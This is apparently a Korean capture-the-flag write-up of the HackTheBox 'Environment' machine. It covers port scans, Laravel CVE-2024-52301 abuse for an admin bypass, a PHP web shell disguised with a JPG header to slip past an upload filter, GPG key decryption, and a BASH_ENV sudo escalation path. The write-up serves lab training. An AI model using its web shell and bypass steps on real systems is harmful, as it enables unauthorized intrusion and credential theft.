INFORMATION GATHERING

NMAP - TCP PORT SCANNING

  • 개방된 TCP 포트 : 22, 80
└─# nmap -p- -sC -sV -Pn -n --min-rate 10000 10.129.232.3 -oN 10.129.232.3_TCP
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-16 19:55 EDT
Nmap scan report for 10.129.232.3
Host is up (0.21s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://environment.htb
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.57 seconds

NMAP - UDP PORT SCANNING

  • 개방된 UDP 포트 : 68
└─# nmap -sU -sV -Pn -n --top-ports 100 10.129.232.3 -oN 10.129.232.3_UDP
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-16 19:55 EDT
Nmap scan report for 10.129.232.3
Host is up (0.23s latency).
Not shown: 99 closed udp ports (port-unreach)
PORT   STATE         SERVICE VERSION
68/udp open|filtered dhcpc
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 211.93 seconds

PREPS

  • /etc/hosts 파일에 도메인과 대상 호스트 주소 맵핑
└─# echo '10.129.232.3 environment.htb' >> /etc/hosts

INFORMATION GATHERING

DIRECTORY ENUMERATION

  • 디렉토리 열거를 통하여 유효한 경로에 대한 정보수집

  • [1] /mailing 경로 접근 시 서버 측에서 발생하는 에러 디버그 메시지가 출력된다.
    • Symfony\Component\HttpKernel\Exception\MethodNotAllowedHttpException
  • [2] 추가로, PHP 8.2.28 - Laravel 11.30.0 버전정보가 노출되고 있다.

VULNERABILITY ASSESSMENT

  • https://muneebdev.com/laravel-11-30-0-exploit/
  • 위 게시글에서는 Laravel 11.30.0 버전에 대한 CVE를 소개하고 있다.
    • [1] Credential Leakage via PDO Connections (CVE-2024-29291)
      • 해당 경로로 접근 시 404 에러가 발생했다. (악용 실패)
    • [2] Argument Injection Vulnerability (CVE-2024-52301)
      • 해당 취약점으로 비인가 접근(어플리케이션 동작 임의 조작)을 시도해볼 수 있다.
    • [3] Reflected Cross-Site Scripting (XSS) in Debug Mode (CVE-2024-13919)
      • 반사형 크로스 사이트 스크립팅 공격으로는 관리자 페이지 접속이나 사용자 계정정보를 획득하기 어렵다.

  • [1] /mailing 경로로 접근을 시도했을 때 서버에서는 오류(에러)에 대한 상세정보를 반환했다.
  • [2] /login 경로에서 로그인 입력폼을 채운 후 서버로 전송되는 패킷을 분석한다.

  • [3] 모든 파라미터 값에 대한 서버 측 반응을 살펴본 결과 remember 파라미터에 임의의 값을 삽입하였을 때 서버 측에서 500 응답코드를 반환했다.

  • [4] 서버에서 500 상태코드가 반환되면 에러에 대한 상세정보가 응답값에 함께 반환됐다.
    • if(App::environment() == "preprod") 환경변수 값이 “preprod”인 경우에는
    • 로그인을 시도하는 계정에 대한 세션을 만들고 /management/dashboard 페이지로 리다이렉트 시킨다.

  • [5] https://github.com/Nyamort/CVE-2024-52301?utm_source=chatgpt.com
    • 위 URL에는 CVE-2024-52301에 대한 PoC 상세과정이 기록되어 있다. 이를 참고하여 공격을 진행한다.

  • 관리자 페이지(/management/dashboard)에 비인가 접근에 성공했다.


INITIAL ACCESS

  • 관리자 페이지에는 사용자의 프로필 이미지 업로드 기능이 존재했다.
  • .php 확장자 파일 업로드 시 Invalid file detected 오류 메시지를 반환하였으며 jpg 파일은 정상적으로 업로드가 가능했다. Laravel은 PHP 언어 기반의 프레임워크이므로 PHP 확장자 검증을 우회하여 파일 업로드가 가능한지 테스트가 필요하다.

  • 확장자를 변조 시 php 파일 업로드가 가능했다. (.php php.)

  • JPG 확장자의 시그니처 헤더 부분을 삽입하여 PHP 파일이 이미지 파일인 것처럼 위장한다.
  • 이후 php. 형식으로 파일을 업로드하여 확장자 검증을 우회한다.
└─# echo 'FF D8 FF E0 00 10 4A 46 49 46 00 01' | xxd -p -r > exploit.php
└─# echo '<?php system($_REQUEST[0]); ?>' >> exploit.php
└─# cat exploit.php
JFIF<?php system($_REQUEST[0]); ?>


  • 웹 쉘 업로드에 성공했으며, 이를 통해 대상 호스트와의 리버스쉘 연결에 성공했다.

  • /home/hish 경로로 접근 후 플래그 확인


POST EXPLOIT

  • /home/hish/backup 경로에는 .gpg 파일이 존재하는데 GPG 파일은 GNU Privacy Guard (GnuPG)라는 도구를 사용하여 암호화하거나 디지털 서명한 파일을 말한다. 해당 파일에는 중요정보가 저장되어 있을 수 있기 때문에 가능하다면 복호화하여 확인 작업이 필요하다.
ls -l
total 8
drwxr-xr-x 2 hish hish 4096 Jan 12  2025 backup
-rw-r--r-- 1 root hish   33 Sep 18 14:07 user.txt
cd backup
ls -l
total 4
-rw-r--r-- 1 hish hish 430 Sep 18 23:18 keyvault.gpg
cd ../.gnupg
ls -l
total 24
drwxr-xr-x 2 hish hish 4096 Sep 18 23:18 openpgp-revocs.d
drwxr-xr-x 2 hish hish 4096 Sep 18 23:18 private-keys-v1.d
-rwxr-xr-x 1 hish hish 1446 Jan 12  2025 pubring.kbx
-rwxr-xr-x 1 hish hish   32 Jan 12  2025 pubring.kbx~
-rwxr-xr-x 1 hish hish  600 Jan 12  2025 random_seed
-rwxr-xr-x 1 hish hish 1280 Jan 12  2025 trustdb.gpg
file ../backup/keyvault.gpg
../backup/keyvault.gpg: PGP RSA encrypted session key - keyid: B755B0ED D6CFCFD3 RSA (Encrypt or Sign) 2048b .

  • gpg 파일 복호화를 위해서는 .gnupg 폴더에 대해 권한이 소유자에게 제한되어 있어야한다.
  • 따라서, tmp 경로로 해당 폴더를 이동한 후 폴더 권한을 변경한다.
  • 이후 /.gnupg의 비밀키로 keyvault.gpg 파일을 복호화한다.
    • ENVIRONMENT.HTB에 대한 패스워드(?) 정보가 추출되었다.
www-data@environment:/home/hish$ cp -r /home/hish /tmp
cp -r /home/hish /tmp
 
[ . . . ]
 
chmod -R 700 /home/hish



LATERAL MOVEMENT (www-data > hish)

  • 추출한 패스워드로 hish 계정으로의 측면이동이 가능했다.


PRIVILEGE ESCALATION

  • sudo -l : SUDO 권한으로 실행 가능한 바이너리가 존재했다. (/usr/bin/systeminfo)
  • env_keep+="ENV BASH_ENV" 부분에 의해 BASH_ENV 환경변수가 초기화되지 않고 유지된다.
  • BASH_ENV 값에 임의의 악성 페이로드가 저장된 파일 경로를 저장하고 루트 권한으로 systeminfo 바이너리를 실행하면 악성 페이로드가 실행되며 루트 권한의 쉘을 획득할 수 있다.
hish@environment:/tmp$ sudo -l
sudo -l
Matching Defaults entries for hish on environment:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    env_keep+="ENV BASH_ENV", use_pty
 
User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo



REFERENCE

  1. https://muneebdev.com/laravel-11-30-0-exploit/
  2. https://medium.com/@ivandano77/environment-writeup-hackthebox-medium-machine-23bada8d48f6
  3. https://taesam.tistory.com/21
  4. https://monday9pm.com/gpg%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%BC%EA%B9%8C-c96fe82095c1
  5. ChatGPT